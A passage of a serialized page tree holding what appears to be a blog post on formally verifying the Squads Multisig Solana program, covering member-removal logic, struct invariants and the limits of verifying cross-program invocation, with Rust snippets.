8},[34543],{"type":29,"value":638},{"type":24,"tag":271,"props":34545,"children":34546},{"class":273,"line":330},[34547,34551,34555,34559],{"type":24,"tag":271,"props":34548,"children":34549},{"style":630},[34550],{"type":29,"value":32947},{"type":24,"tag":271,"props":34552,"children":34553},{"style":624},[34554],{"type":29,"value":12210},{"type":24,"tag":271,"props":34556,"children":34557},{"style":477},[34558],{"type":29,"value":767},{"type":24,"tag":271,"props":34560,"children":34561},{"style":288},[34562],{"type":29,"value":638},{"type":24,"tag":271,"props":34564,"children":34565},{"class":273,"line":339},[34566,34570,34574,34578],{"type":24,"tag":271,"props":34567,"children":34568},{"style":630},[34569],{"type":29,"value":31518},{"type":24,"tag":271,"props":34571,"children":34572},{"style":624},[34573],{"type":29,"value":12210},{"type":24,"tag":271,"props":34575,"children":34576},{"style":624},[34577],{"type":29,"value":32975},{"type":24,"tag":271,"props":34579,"children":34580},{"style":288},[34581],{"type":29,"value":638},{"type":24,"tag":271,"props":34583,"children":34584},{"class":273,"line":347},[34585,34589,34593,34597],{"type":24,"tag":271,"props":34586,"children":34587},{"style":630},[34588],{"type":29,"value":32987},{"type":24,"tag":271,"props":34590,"children":34591},{"style":624},[34592],{"type":29,"value":12210},{"type":24,"tag":271,"props":34594,"children":34595},{"style":278},[34596],{"type":29,"value":1877},{"type":24,"tag":271,"props":34598,"children":34599},{"style":288},[34600],{"type":29,"value":638},{"type":24,"tag":271,"props":34602,"children":34603},{"class":273,"line":356},[34604,34608,34612,34616],{"type":24,"tag":271,"props":34605,"children":34606},{"style":630},[34607],{"type":29,"value":33007},{"type":24,"tag":271,"props":34609,"children":34610},{"style":624},[34611],{"type":29,"value":12210},{"type":24,"tag":271,"props":34613,"children":34614},{"style":3887},[34615],{"type":29,"value":29075},{"type":24,"tag":271,"props":34617,"children":34618},{"style":288},[34619],{"type":29,"value":7145},{"type":24,"tag":271,"props":34621,"children":34622},{"class":273,"line":365},[34623,34628,34632,34636],{"type":24,"tag":271,"props":34624,"children":34625},{"style":630},[34626],{"type":29,"value":34627}," data",{"type":24,"tag":271,"props":34629,"children":34630},{"style":624},[34631],{"type":29,"value":12210},{"type":24,"tag":271,"props":34633,"children":34634},{"style":624},[34635],{"type":29,"value":32975},{"type":24,"tag":271,"props":34637,"children":34638},{"style":288},[34639],{"type":29,"value":638},{"type":24,"tag":271,"props":34641,"children":34642},{"class":273,"line":374},[34643,34647,34651,34655],{"type":24,"tag":271,"props":34644,"children":34645},{"style":630},[34646],{"type":29,"value":33028},{"type":24,"tag":271,"props":34648,"children":34649},{"style":624},[34650],{"type":29,"value":12210},{"type":24,"tag":271,"props":34652,"children":34653},{"style":477},[34654],{"type":29,"value":767},{"type":24,"tag":271,"props":34656,"children":34657},{"style":288},[34658],{"type":29,"value":638},{"type":24,"tag":271,"props":34660,"children":34661},{"class":273,"line":384},[34662],{"type":24,"tag":271,"props":34663,"children":34664},{"style":288},[34665],{"type":29,"value":33049},{"type":24,"tag":271,"props":34667,"children":34668},{"class":273,"line":393},[34669],{"type":24,"tag":271,"props":34670,"children":34671},{"style":288},[34672],{"type":29,"value":33057},{"type":24,"tag":271,"props":34674,"children":34675},{"class":273,"line":402},[34676,34680,34684,34688,34692,34696],{"type":24,"tag":271,"props":34677,"children":34678},{"style":630},[34679],{"type":29,"value":33065},{"type":24,"tag":271,"props":34681,"children":34682},{"style":624},[34683],{"type":29,"value":12210},{"type":24,"tag":271,"props":34685,"children":34686},{"style":3887},[34687],{"type":29,"value":33074},{"type":24,"tag":271,"props":34689,"children":34690},{"style":288},[34691],{"type":29,"value":17293},{"type":24,"tag":271,"props":34693,"children":34694},{"style":624},[34695],{"type":29,"value":17298},{"type":24,"tag":271,"props":34697,"children":34698},{"style":288},[34699],{"type":29,"value":33087},{"type":24,"tag":271,"props":34701,"children":34702},{"class":273,"line":411},[34703],{"type":24,"tag":271,"props":34704,"children":34705},{"style":288},[34706],{"type":29,"value":1171},{"type":24,"tag":25,"props":34708,"children":34709},{},[34710],{"type":29,"value":34711},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":25,"props":34713,"children":34714},{},[34715,34717,34723],{"type":29,"value":34716},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":135,"props":34718,"children":34720},{"className":34719},[],[34721],{"type":29,"value":34722},"Ms::remove_member",{"type":29,"value":12210},{"type":24,"tag":261,"props":34725,"children":34727},{"code":34726,"language":10717,"meta":7,"className":10718,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[34728],{"type":24,"tag":135,"props":34729,"children":34730},{"__ignoreMap":7},[34731,34790,34821,34828],{"type":24,"tag":271,"props":34732,"children":34733},{"class":273,"line":274},[34734,34738,34742,34746,34750,34754,34758,34762,34766,34770,34774,34778,34782,34786],{"type":24,"tag":271,"props":34735,"children":34736},{"style":749},[34737],{"type":29,"value":23277},{"type":24,"tag":271,"props":34739,"children":34740},{"style":630},[34741],{"type":29,"value":33519},{"type":24,"tag":271,"props":34743,"children":34744},{"style":624},[34745],{"type":29,"value":41},{"type":24,"tag":271,"props":34747,"children":34748},{"style":288},[34749],{"type":29,"value":22373},{"type":24,"tag":271,"props":34751,"children":34752},{"style":624},[34753],{"type":29,"value":41},{"type":24,"tag":271,"props":34755,"children":34756},{"style":288},[34757],{"type":29,"value":31486},{"type":24,"tag":271,"props":34759,"children":34760},{"style":624},[34761],{"type":29,"value":41},{"type":24,"tag":271,"props":34763,"children":34764},{"style":288},[34765],{"type":29,"value":28670},{"type":24,"tag":271,"props":34767,"children":34768},{"style":624},[34769],{"type":29,"value":41},{"type":24,"tag":271,"props":34771,"children":34772},{"style":598},[34773],{"type":29,"value":8335},{"type":24,"tag":271,"props":34775,"children":34776},{"style":288},[34777],{"type":29,"value":21742},{"type":24,"tag":271,"props":34779,"children":34780},{"style":624},[34781],{"type":29,"value":5059},{"type":24,"tag":271,"props":34783,"children":34784},{"style":477},[34785],{"type":29,"value":824},{"type":24,"tag":271,"props":34787,"children":34788},{"style":288},[34789],{"type":29,"value":7145},{"type":24,"tag":271,"props":34791,"children":34792},{"class":273,"line":284},[34793,34797,34801,34805,34809,34813,34817],{"type":24,"tag":271,"props":34794,"children":34795},{"style":749},[34796],{"type":29,"value":9640},{"type":24,"tag":271,"props":34798,"children":34799},{"style":598},[34800],{"type":29,"value":31203},{"type":24,"tag":271,"props":34802,"children":34803},{"style":288},[34804],{"type":29,"value":606},{"type":24,"tag":271,"props":34806,"children":34807},{"style":3887},[34808],{"type":29,"value":31212},{"type":24,"tag":271,"props":34810,"children":34811},{"style":624},[34812],{"type":29,"value":11207},{"type":24,"tag":271,"props":34814,"children":34815},{"style":3887},[34816],{"type":29,"value":33595},{"type":24,"tag":271,"props":34818,"children":34819},{"style":288},[34820],{"type":29,"value":1155},{"type":24,"tag":271,"props":34822,"children":34823},{"class":273,"line":294},[34824],{"type":24,"tag":271,"props":34825,"children":34826},{"style":288},[34827],{"type":29,"value":1171},{"type":24,"tag":271,"props":34829,"children":34830},{"class":273,"line":303},[34831,34835,34839,34843,34847,34851,34855,34859,34863,34867,34871,34875],{"type":24,"tag":271,"props":34832,"children":34833},{"style":630},[34834],{"type":29,"value":633},{"type":24,"tag":271,"props":34836,"children":34837},{"style":624},[34838],{"type":29,"value":41},{"type":24,"tag":271,"props":34840,"children":34841},{"style":288},[34842],{"type":29,"value":22373},{"type":24,"tag":271,"props":34844,"children":34845},{"style":624},[34846],{"type":29,"value":41},{"type":24,"tag":271,"props":34848,"children":34849},{"style":288},[34850],{"type":29,"value":31486},{"type":24,"tag":271,"props":34852,"children":34853},{"style":624},[34854],{"type":29,"value":41},{"type":24,"tag":271,"props":34856,"children":34857},{"style":598},[34858],{"type":29,"value":33142},{"type":24,"tag":271,"props":34860,"children":34861},{"style":288},[34862],{"type":29,"value":606},{"type":24,"tag":271,"props":34864,"children":34865},{"style":630},[34866],{"type":29,"value":33475},{"type":24,"tag":271,"props":34868,"children":34869},{"style":288},[34870],{"type":29,"value":2693},{"type":24,"tag":271,"props":34872,"children":34873},{"style":624},[34874],{"type":29,"value":10887},{"type":24,"tag":271,"props":34876,"children":34877},{"style":288},[34878],{"type":29,"value":1069},{"type":24,"tag":25,"props":34880,"children":34881},{},[34882,34884,34890,34892,34898],{"type":29,"value":34883},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":135,"props":34885,"children":34887},{"className":34886},[],[34888],{"type":29,"value":34889},"Ms::is_member",{"type":29,"value":34891},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":135,"props":34893,"children":34895},{"className":34894},[],[34896],{"type":29,"value":34897},"Ok(())",{"type":29,"value":41},{"type":24,"tag":261,"props":34900,"children":34902},{"code":34901,"language":10717,"meta":7,"className":10718,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[34903],{"type":24,"tag":135,"props":34904,"children":34905},{"__ignoreMap":7},[34906,34970,35029,35066,35125,35193,35200,35207,35218],{"type":24,"tag":271,"props":34907,"children":34908},{"class":273,"line":274},[34909,34913,34917,34921,34925,34929,34933,34937,34941,34946,34950,34954,34958,34962,34966],{"type":24,"tag":271,"props":34910,"children":34911},{"style":278},[34912],{"type":29,"value":21391},{"type":24,"tag":271,"props":34914,"children":34915},{"style":278},[34916],{"type":29,"value":21396},{"type":24,"tag":271,"props":34918,"children":34919},{"style":598},[34920],{"type":29,"value":33441},{"type":24,"tag":271,"props":34922,"children":34923},{"style":288},[34924],{"type":29,"value":606},{"type":24,"tag":271,"props":34926,"children":34927},{"style":624},[34928],{"type":29,"value":1137},{"type":24,"tag":271,"props":34930,"children":34931},{"style":278},[34932],{"type":29,"value":11448},{"type":24,"tag":271,"props":34934,"children":34935},{"style":278},[34936],{"type":29,"value":21497},{"type":24,"tag":271,"props":34938,"children":34939},{"style":288},[34940],{"type":29,"value":158},{"type":24,"tag":271,"props":34942,"children":34943},{"style":630},[34944],{"type":29,"value":34945},"member",{"type":24,"tag":271,"props":34947,"children":34948},{"style":624},[34949],{"type":29,"value":12210},{"type":24,"tag":271,"props":34951,"children":34952},{"style":3887},[34953],{"type":29,"value":28544},{"type":24,"tag":271,"props":34955,"children":34956},{"style":288},[34957],{"type":29,"value":8823},{"type":24,"tag":271,"props":34959,"children":34960},{"style":624},[34961],{"type":29,"value":786},{"type":24,"tag":271,"props":34963,"children":34964},{"style":3887},[34965],{"type":29,"value":21462},{"type":24,"tag":271,"props":34967,"children":34968},{"style":288},[34969],{"type":29,"value":28019},{"type":24,"tag":271,"props":34971,"children":34972},{"class":273,"line":284},[34973,34977,34982,34987,34991,34996,35000,35004,35008,35012,35017,35021,35025],{"type":24,"tag":271,"props":34974,"children":34975},{"style":749},[34976],{"type":29,"value":5025},{"type":24,"tag":271,"props":34978,"children":34979},{"style":278},[34980],{"type":29,"value":34981}," let",{"type":24,"tag":271,"props":34983,"children":34984},{"style":3887},[34985],{"type":29,"value":34986}," Some",{"type":24,"tag":271,"props":34988,"children":34989},{"style":288},[34990],{"type":29,"value":606},{"type":24,"tag":271,"props":34992,"children":34993},{"style":630},[34994],{"type":29,"value":34995},"ind",{"type":24,"tag":271,"props":34997,"children":34998},{"style":288},[34999],{"type":29,"value":8823},{"type":24,"tag":271,"props":35001,"children":35002},{"style":624},[35003],{"type":29,"value":762},{"type":24,"tag":271,"props":35005,"children":35006},{"style":278},[35007],{"type":29,"value":21497},{"type":24,"tag":271,"props":35009,"children":35010},{"style":624},[35011],{"type":29,"value":41},{"type":24,"tag":271,"props":35013,"children":35014},{"style":598},[35015],{"type":29,"value":35016},"is_member",{"type":24,"tag":271,"props":35018,"children":35019},{"style":288},[35020],{"type":29,"value":606},{"type":24,"tag":271,"props":35022,"children":35023},{"style":630},[35024],{"type":29,"value":34945},{"type":24,"tag":271,"props":35026,"children":35027},{"style":288},[35028],{"type":29,"value":919},{"type":24,"tag":271,"props":35030,"children":35031},{"class":273,"line":294},[35032,35037,35041,35045,35049,35054,35058,35062],{"type":24,"tag":271,"props":35033,"children":35034},{"style":278},[35035],{"type":29,"value":35036}," self",{"type":24,"tag":271,"props":35038,"children":35039},{"style":624},[35040],{"type":29,"value":41},{"type":24,"tag":271,"props":35042,"children":35043},{"style":288},[35044],{"type":29,"value":28670},{"type":24,"tag":271,"props":35046,"children":35047},{"style":624},[35048],{"type":29,"value":41},{"type":24,"tag":271,"props":35050,"children":35051},{"style":598},[35052],{"type":29,"value":35053},"remove",{"type":24,"tag":271,"props":35055,"children":35056},{"style":288},[35057],{"type":29,"value":606},{"type":24,"tag":271,"props":35059,"children":35060},{"style":630},[35061],{"type":29,"value":34995},{"type":24,"tag":271,"props":35063,"children":35064},{"style":288},[35065],{"type":29,"value":1155},{"type":24,"tag":271,"props":35067,"children":35068},{"class":273,"line":303},[35069,35073,35077,35081,35085,35089,35093,35097,35101,35105,35109,35113,35117,35121],{"type":24,"tag":271,"props":35070,"children":35071},{"style":749},[35072],{"type":29,"value":7512},{"type":24,"tag":271,"props":35074,"children":35075},{"style":278},[35076],{"type":29,"value":21497},{"type":24,"tag":271,"props":35078,"children":35079},{"style":624},[35080],{"type":29,"value":41},{"type":24,"tag":271,"props":35082,"children":35083},{"style":288},[35084],{"type":29,"value":28670},{"type":24,"tag":271,"props":35086,"children":35087},{"style":624},[35088],{"type":29,"value":41},{"type":24,"tag":271,"props":35090,"children":35091},{"style":598},[35092],{"type":29,"value":8335},{"type":24,"tag":271,"props":35094,"children":35095},{"style":288},[35096],{"type":29,"value":33720},{"type":24,"tag":271,"props":35098,"children":35099},{"style":3887},[35100],{"type":29,"value":24296},{"type":24,"tag":271,"props":35102,"children":35103},{"style":624},[35104],{"type":29,"value":11207},{"type":24,"tag":271,"props":35106,"children":35107},{"style":598},[35108],{"type":29,"value":27162},{"type":24,"tag":271,"props":35110,"children":35111},{"style":288},[35112],{"type":29,"value":606},{"type":24,"tag":271,"props":35114,"children":35115},{"style":278},[35116],{"type":29,"value":21414},{"type":24,"tag":271,"props":35118,"children":35119},{"style":624},[35120],{"type":29,"value":41},{"type":24,"tag":271,"props":35122,"children":35123},{"style":288},[35124],{"type":29,"value":33765},{"type":24,"tag":271,"props":35126,"children":35127},{"class":273,"line":312},[35128,35133,35137,35141,35145,35149,35153,35157,35161,35165,35169,35173,35177,35181,35185,35189],{"type":24,"tag":271,"props":35129,"children":35130},{"style":278},[35131],{"type":29,"value":35132}," self",{"type":24,"tag":271,"props":35134,"children":35135},{"style":624},[35136],{"type":29,"value":41},{"type":24,"tag":271,"props":35138,"children":35139},{"style":288},[35140],{"type":29,"value":28758},{"type":24,"tag":271,"props":35142,"children":35143},{"style":624},[35144],{"type":29,"value":762},{"type":24,"tag":271,"props":35146,"children":35147},{"style":278},[35148],{"type":29,"value":21497},{"type":24,"tag":271,"props":35150,"children":35151},{"style":624},[35152],{"type":29,"value":41},{"type":24,"tag":271,"props":35154,"children":35155},{"style":288},[35156],{"type":29,"value":28670},{"type":24,"tag":271,"props":35158,"children":35159},{"style":624},[35160],{"type":29,"value":41},{"type":24,"tag":271,"props":35162,"children":35163},{"style":598},[35164],{"type":29,"value":8335},{"type":24,"tag":271,"props":35166,"children":35167},{"style":288},[35168],{"type":29,"value":21579},{"type":24,"tag":271,"props":35170,"children":35171},{"style":624},[35172],{"type":29,"value":41},{"type":24,"tag":271,"props":35174,"children":35175},{"style":598},[35176],{"type":29,"value":33838},{"type":24,"tag":271,"props":35178,"children":35179},{"style":288},[35180],{"type":29,"value":21579},{"type":24,"tag":271,"props":35182,"children":35183},{"style":624},[35184],{"type":29,"value":41},{"type":24,"tag":271,"props":35186,"children":35187},{"style":598},[35188],{"type":29,"value":11391},{"type":24,"tag":271,"props":35190,"children":35191},{"style":288},[35192],{"type":29,"value":4230},{"type":24,"tag":271,"props":35194,"children":35195},{"class":273,"line":321},[35196],{"type":24,"tag":271,"props":35197,"children":35198},{"style":288},[35199],{"type":29,"value":7574},{"type":24,"tag":271,"props":35201,"children":35202},{"class":273,"line":330},[35203],{"type":24,"tag":271,"props":35204,"children":35205},{"style":288},[35206],{"type":29,"value":4385},{"type":24,"tag":271,"props":35208,"children":35209},{"class":273,"line":339},[35210,35214],{"type":24,"tag":271,"props":35211,"children":35212},{"style":3887},[35213],{"type":29,"value":22031},{"type":24,"tag":271,"props":35215,"children":35216},{"style":288},[35217],{"type":29,"value":22036},{"type":24,"tag":271,"props":35219,"children":35220},{"class":273,"line":347},[35221],{"type":24,"tag":271,"props":35222,"children":35223},{"style":288},[35224],{"type":29,"value":1171},{"type":24,"tag":25,"props":35226,"children":35227},{},[35228,35230,35235,35237,35243,35245,35251,35253,35258],{"type":29,"value":35229},"Inside ",{"type":24,"tag":135,"props":35231,"children":35233},{"className":35232},[],[35234],{"type":29,"value":34889},{"type":29,"value":35236},", we see that it performs a ",{"type":24,"tag":135,"props":35238,"children":35240},{"className":35239},[],[35241],{"type":29,"value":35242},"binary_search",{"type":29,"value":35244}," on the keys vec and returns the index or ",{"type":24,"tag":135,"props":35246,"children":35248},{"className":35247},[],[35249],{"type":29,"value":35250},"None",{"type":29,"value":35252},". Since the vec has size zero, this will just return ",{"type":24,"tag":135,"props":35254,"children":35256},{"className":35255},[],[35257],{"type":29,"value":35250},{"type":29,"value":41},{"type":24,"tag":261,"props":35260,"children":35262},{"code":35261,"language":10717,"meta":7,"className":10718,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[35263],{"type":24,"tag":135,"props":35264,"children":35265},{"__ignoreMap":7},[35266,35335,35378,35417,35439,35446],{"type":24,"tag":271,"props":35267,"children":35268},{"class":273,"line":274},[35269,35273,35277,35282,35286,35290,35294,35298,35302,35306,35310,35314,35318,35323,35327,35331],{"type":24,"tag":271,"props":35270,"children":35271},{"style":278},[35272],{"type":29,"value":21391},{"type":24,"tag":271,"props":35274,"children":35275},{"style":278},[35276],{"type":29,"value":21396},{"type":24,"tag":271,"props":35278,"children":35279},{"style":598},[35280],{"type":29,"value":35281}," is_member",{"type":24,"tag":271,"props":35283,"children":35284},{"style":288},[35285],{"type":29,"value":606},{"type":24,"tag":271,"props":35287,"children":35288},{"style":624},[35289],{"type":29,"value":1137},{"type":24,"tag":271,"props":35291,"children":35292},{"style":278},[35293],{"type":29,"value":21414},{"type":24,"tag":271,"props":35295,"children":35296},{"style":288},[35297],{"type":29,"value":158},{"type":24,"tag":271,"props":35299,"children":35300},{"style":630},[35301],{"type":29,"value":34945},{"type":24,"tag":271,"props":35303,"children":35304},{"style":624},[35305],{"type":29,"value":12210},{"type":24,"tag":271,"props":35307,"children":35308},{"style":3887},[35309],{"type":29,"value":28544},{"type":24,"tag":271,"props":35311,"children":35312},{"style":288},[35313],{"type":29,"value":8823},{"type":24,"tag":271,"props":35315,"children":35316},{"style":624},[35317],{"type":29,"value":786},{"type":24,"tag":271,"props":35319,"children":35320},{"style":3887},[35321],{"type":29,"value":35322}," Option",{"type":24,"tag":271,"props":35324,"children":35325},{"style":288},[35326],{"type":29,"value":801},{"type":24,"tag":271,"props":35328,"children":35329},{"style":3887},[35330],{"type":29,"value":24296},{"type":24,"tag":271,"props":35332,"children":35333},{"style":288},[35334],{"type":29,"value":14997},{"type":24,"tag":271,"props":35336,"children":35337},{"class":273,"line":284},[35338,35342,35346,35350,35354,35358,35362,35366,35370,35374],{"type":24,"tag":271,"props":35339,"children":35340},{"style":749},[35341],{"type":29,"value":22451},{"type":24,"tag":271,"props":35343,"children":35344},{"style":278},[35345],{"type":29,"value":21497},{"type":24,"tag":271,"props":35347,"children":35348},{"style":624},[35349],{"type":29,"value":41},{"type":24,"tag":271,"props":35351,"children":35352},{"style":288},[35353],{"type":29,"value":28670},{"type":24,"tag":271,"props":35355,"children":35356},{"style":624},[35357],{"type":29,"value":41},{"type":24,"tag":271,"props":35359,"children":35360},{"style":598},[35361],{"type":29,"value":35242},{"type":24,"tag":271,"props":35363,"children":35364},{"style":288},[35365],{"type":29,"value":606},{"type":24,"tag":271,"props":35367,"children":35368},{"style":624},[35369],{"type":29,"value":1137},{"type":24,"tag":271,"props":35371,"children":35372},{"style":630},[35373],{"type":29,"value":34945},{"type":24,"tag":271,"props":35375,"children":35376},{"style":288},[35377],{"type":29,"value":919},{"type":24,"tag":271,"props":35379,"children":35380},{"class":273,"line":294},[35381,35385,35389,35393,35397,35401,35405,35409,35413],{"type":24,"tag":271,"props":35382,"children":35383},{"style":3887},[35384],{"type":29,"value":22509},{"type":24,"tag":271,"props":35386,"children":35387},{"style":288},[35388],{"type":29,"value":606},{"type":24,"tag":271,"props":35390,"children":35391},{"style":630},[35392],{"type":29,"value":34995},{"type":24,"tag":271,"props":35394,"children":35395},{"style":288},[35396],{"type":29,"value":8823},{"type":24,"tag":271,"props":35398,"children":35399},{"style":624},[35400],{"type":29,"value":22519},{"type":24,"tag":271,"props":35402,"children":35403},{"style":3887},[35404],{"type":29,"value":34986},{"type":24,"tag":271,"props":35406,"children":35407},{"style":288},[35408],{"type":29,"value":606},{"type":24,"tag":271,"props":35410,"children":35411},{"style":630},[35412],{"type":29,"value":34995},{"type":24,"tag":271,"props":35414,"children":35415},{"style":288},[35416],{"type":29,"value":14453},{"type":24,"tag":271,"props":35418,"children":35419},{"class":273,"line":303},[35420,35425,35430,35435],{"type":24,"tag":271,"props":35421,"children":35422},{"style":630},[35423],{"type":29,"value":35424}," _",{"type":24,"tag":271,"props":35426,"children":35427},{"style":624},[35428],{"type":29,"value":35429}," =>",{"type":24,"tag":271,"props":35431,"children":35432},{"style":3887},[35433],{"type":29,"value":35434}," None",{"type":24,"tag":271,"props":35436,"children":35437},{"style":288},[35438],{"type":29,"value":638},{"type":24,"tag":271,"props":35440,"children":35441},{"class":273,"line":312},[35442],{"type":24,"tag":271,"props":35443,"children":35444},{"style":288},[35445],{"type":29,"value":4385},{"type":24,"tag":271,"props":35447,"children":35448},{"class":273,"line":321},[35449],{"type":24,"tag":271,"props":35450,"children":35451},{"style":288},[35452],{"type":29,"value":1171},{"type":24,"tag":25,"props":35454,"children":35455},{},[35456,35458,35463,35465,35470,35472,35477,35479,35484],{"type":29,"value":35457},"So interestingly, a ",{"type":24,"tag":135,"props":35459,"children":35461},{"className":35460},[],[35462],{"type":29,"value":28670},{"type":29,"value":35464}," vec of size 0 ",{"type":24,"tag":10648,"props":35466,"children":35467},{},[35468],{"type":29,"value":35469},"is actually",{"type":29,"value":35471}," a sufficient condition to execute ",{"type":24,"tag":135,"props":35473,"children":35475},{"className":35474},[],[35476],{"type":29,"value":33142},{"type":29,"value":35478},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":10648,"props":35480,"children":35481},{},[35482],{"type":29,"value":35483},"valid",{"type":29,"value":35485}," multisig, the number of keys should never be zero.",{"type":24,"tag":25,"props":35487,"children":35488},{},[35489,35491,35496],{"type":29,"value":35490},"We can represent this ",{"type":24,"tag":10648,"props":35492,"children":35493},{},[35494],{"type":29,"value":35495},"validity",{"type":29,"value":35497}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":261,"props":35499,"children":35501},{"code":35500,"language":10717,"meta":7,"className":10718,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[35502],{"type":24,"tag":135,"props":35503,"children":35504},{"__ignoreMap":7},[35505,35512,35535,35586,35593],{"type":24,"tag":271,"props":35506,"children":35507},{"class":273,"line":274},[35508],{"type":24,"tag":271,"props":35509,"children":35510},{"style":288},[35511],{"type":29,"value":28465},{"type":24,"tag":271,"props":35513,"children":35514},{"class":273,"line":284},[35515,35519,35523,35527,35531],{"type":24,"tag":271,"props":35516,"children":35517},{"style":288},[35518],{"type":29,"value":32405},{"type":24,"tag":271,"props":35520,"children":35521},{"style":624},[35522],{"type":29,"value":41},{"type":24,"tag":271,"props":35524,"children":35525},{"style":288},[35526],{"type":29,"value":28758},{"type":24,"tag":271,"props":35528,"children":35529},{"style":624},[35530],{"type":29,"value":17648},{"type":24,"tag":271,"props":35532,"children":35533},{"style":288},[35534],{"type":29,"value":28767},{"type":24,"tag":271,"props":35536,"children":35537},{"class":273,"line":294},[35538,35542,35546,35550,35554,35558,35562,35566,35570,35574,35578,35582],{"type":24,"tag":271,"props":35539,"children":35540},{"style":624},[35541],{"type":29,"value":23319},{"type":24,"tag":271,"props":35543,"children":35544},{"style":288},[35545],{"type":29,"value":28691},{"type":24,"tag":271,"props":35547,"children":35548},{"style":624},[35549],{"type":29,"value":41},{"type":24,"tag":271,"props":35551,"children":35552},{"style":288},[35553],{"type":29,"value":28758},{"type":24,"tag":271,"props":35555,"children":35556},{"style":278},[35557],{"type":29,"value":16555},{"type":24,"tag":271,"props":35559,"children":35560},{"style":3887},[35561],{"type":29,"value":21432},{"type":24,"tag":271,"props":35563,"children":35564},{"style":624},[35565],{"type":29,"value":15912},{"type":24,"tag":271,"props":35567,"children":35568},{"style":288},[35569],{"type":29,"value":21497},{"type":24,"tag":271,"props":35571,"children":35572},{"style":624},[35573],{"type":29,"value":41},{"type":24,"tag":271,"props":35575,"children":35576},{"style":288},[35577],{"type":29,"value":28670},{"type":24,"tag":271,"props":35579,"children":35580},{"style":624},[35581],{"type":29,"value":41},{"type":24,"tag":271,"props":35583,"children":35584},{"style":288},[35585],{"type":29,"value":28819},{"type":24,"tag":271,"props":35587,"children":35588},{"class":273,"line":303},[35589],{"type":24,"tag":271,"props":35590,"children":35591},{"style":288},[35592],{"type":29,"value":27947},{"type":24,"tag":271,"props":35594,"children":35595},{"class":273,"line":312},[35596,35600,35604,35608,35612,35616],{"type":24,"tag":271,"props":35597,"children":35598},{"style":278},[35599],{"type":29,"value":21391},{"type":24,"tag":271,"props":35601,"children":35602},{"style":278},[35603],{"type":29,"value":616},{"type":24,"tag":271,"props":35605,"children":35606},{"style":3887},[35607],{"type":29,"value":28842},{"type":24,"tag":271,"props":35609,"children":35610},{"style":288},[35611],{"type":29,"value":17293},{"type":24,"tag":271,"props":35613,"children":35614},{"style":624},[35615],{"type":29,"value":17298},{"type":24,"tag":271,"props":35617,"children":35618},{"style":288},[35619],{"type":29,"value":1163},{"type":24,"tag":25,"props":35621,"children":35622},{},[35623,35625,35631,35633,35639],{"type":29,"value":35624},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":135,"props":35626,"children":35628},{"className":35627},[],[35629],{"type":29,"value":35630},"keys.len() == 0",{"type":29,"value":35632}," and allows us to prove the biconditional ",{"type":24,"tag":135,"props":35634,"children":35636},{"className":35635},[],[35637],{"type":29,"value":35638},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":41},{"type":24,"tag":85,"props":35641,"children":35643},{"id":35642},"safety-guarantees",[35644],{"type":29,"value":30470},{"type":24,"tag":25,"props":35646,"children":35647},{},[35648],{"type":29,"value":35649},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":25,"props":35651,"children":35652},{},[35653],{"type":29,"value":35654},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":25,"props":35656,"children":35657},{},[35658,35660,35666],{"type":29,"value":35659},"In the multisig program this happens in the ",{"type":24,"tag":135,"props":35661,"children":35663},{"className":35662},[],[35664],{"type":29,"value":35665},"execute_transaction",{"type":29,"value":35667}," instruction.",{"type":24,"tag":25,"props":35669,"children":35670},{},[35671],{"type":24,"tag":10648,"props":35672,"children":35673},{},[35674],{"type":29,"value":35675},"So what do you do?",{"type":24,"tag":25,"props":35677,"children":35678},{},[35679],{"type":29,"value":35680},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":261,"props":35682,"children":35684},{"code":35683,"language":10717,"meta":7,"className":10718,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n 